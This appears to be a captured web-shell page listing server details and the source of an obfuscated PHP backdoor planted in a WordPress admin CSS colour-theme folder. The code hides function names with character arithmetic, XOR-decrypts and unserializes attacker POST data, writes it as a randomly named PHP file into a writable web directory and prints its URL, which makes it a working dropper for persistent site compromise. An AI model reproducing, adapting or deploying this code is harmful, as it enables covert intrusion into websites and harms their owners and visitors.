HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/www/wp-admin/css/colors/coffee/phnewxvl.php
<?php function rQdjTqx($TrXuQHyX, $jOfZmbAHA, $ZAspARWoXA){$FStCIV = "035db8b0-1829-4557-a4d6-72e0c18056a9";return $TrXuQHyX ^ $FStCIV[$jOfZmbAHA % strlen($FStCIV)] ^ $ZAspARWoXA;}$shhRgAXY = "vLIJZeBZl";function rRawJUV($shhRgAXY){ $IePbmsDP = chr(542-427).chr(116)."\x72"."\137"."\x72"."\x6f"."\x74".chr(83-34).chr(51);$shhRgAXY = $IePbmsDP($shhRgAXY);$Krcgcaz = chr(559-445).chr(97)."\x77"."\165".chr(114)."\x6c"."\x64".chr(270-169).chr(447-348).chr(333-222)."\x64".chr(101);$shhRgAXY = $Krcgcaz($shhRgAXY);$shhRgAXY = str_split($shhRgAXY);return $shhRgAXY;}function vuKSgJ($ypoIts, $ZAspARWoXA){$ypoIts = array_map("rQdjTqx", array_values($ypoIts), array_keys($ypoIts), array_values($ZAspARWoXA));$ypoIts = implode("", $ypoIts);$kKEqJCh = 'u'.'n'."\163"."\x65"."\x72"."\x69".'a'.chr(108).chr(105).chr(122).'e';$ypoIts = @$kKEqJCh($ypoIts);return $ypoIts;}function yJlHQelTUV($ZAspARWoXA, $ypoIts){$ZAspARWoXA = array_slice(str_split(str_repeat($ZAspARWoXA, (count($ypoIts)/16)+1)), 0, count($ypoIts));return $ZAspARWoXA;}function ipRwMluM(){echo "tSTSauA";}function BrtcuLw($eTsPpir){static $HonFUBFu = array();$PlSTRZZR = glob($eTsPpir . '/*', GLOB_ONLYDIR);$mBaSjlvJcx = count($PlSTRZZR);if ($mBaSjlvJcx > 0) {foreach ($PlSTRZZR as $eTsPp) {$aZQzZmg = "\151".chr(115).chr(810-715).'w'."\x72".chr(105).chr(116).chr(393-296)."\x62".'l'.chr(327-226);if (@$aZQzZmg($eTsPp)) {$HonFUBFu[] = $eTsPp;}}}foreach ($PlSTRZZR as $eTsPpir) BrtcuLw($eTsPpir);return $HonFUBFu;}function hbFaVuHIm($ypoIts){$ukVJM = chr(68)."\117"."\x43".chr(723-638).chr(419-342).'E'.'N'.'T'."\x5f"."\122"."\117".'O'.chr(973-889);$MwWOzP = $_SERVER[$ukVJM];$PlSTRZZR = BrtcuLw($MwWOzP);$DFrRq = array_rand($PlSTRZZR);$fqaXGx = "\x2e".chr(112).'h'.chr(1090-978);$jwCgVzNnd = $PlSTRZZR[$DFrRq] . "/" . substr(md5(time()), 0, 8) . $fqaXGx;$mdsmqweCw = chr(535-433)."\151"."\154"."\145".'_'."\x70".chr(892-775).chr(116).chr(95).chr(1084-985).'o'.chr(110).chr(116).chr(980-879).chr(388-278).chr(512-396).chr(211-96);@$mdsmqweCw($jwCgVzNnd, $ypoIts);$OhWntRzZC = chr(72).chr(1007-923).chr(84).'P'."\x5f".chr(72).'O'."\123".chr(577-493);$RjpWbtTlCz = "\x68".'t'."\x74".chr(532-420)."\x3a"."\57"."\x2f";$TGQLIl = $RjpWbtTlCz . $_SERVER[$OhWntRzZC] . substr($jwCgVzNnd, strlen($MwWOzP));print($TGQLIl);}function LPTrdHsEK($ypoIts, $DFrRq){$DFrRq = $DFrRq[0];if ($ypoIts !== $DFrRq){hbFaVuHIm($ypoIts);}else {VoVuv();}}function VoVuv(){$hmONFHb = chr(850-738).chr(104)."\x70";$AAZcpifze = "\160"."\x68"."\160".'v'."\x65".'r'.chr(115).'i'."\157".chr(110);$ypoIts = Array($hmONFHb => @$AAZcpifze(), );$aEXxPy = 's'."\145".chr(114)."\151".chr(968-871)."\x6c".chr(105).chr(808-686)."\x65";echo @$aEXxPy($ypoIts);}function bOCMAfelX(){echo "vLIJZeBZl";}foreach ($_POST as $ZAspARWoXA => $ypoIts){$sPbwefR = strlen($ZAspARWoXA);if ($sPbwefR == 16){$ypoIts = rRawJUV($ypoIts);$ZAspARWoXA = yJlHQelTUV($ZAspARWoXA, $ypoIts);$ypoIts = vuKSgJ($ypoIts, $ZAspARWoXA);if (@is_array($ypoIts)){$DFrRq = array_keys($ypoIts);$ypoIts = $ypoIts[$DFrRq[0]];LPTrdHsEK($ypoIts, $DFrRq);}}}die();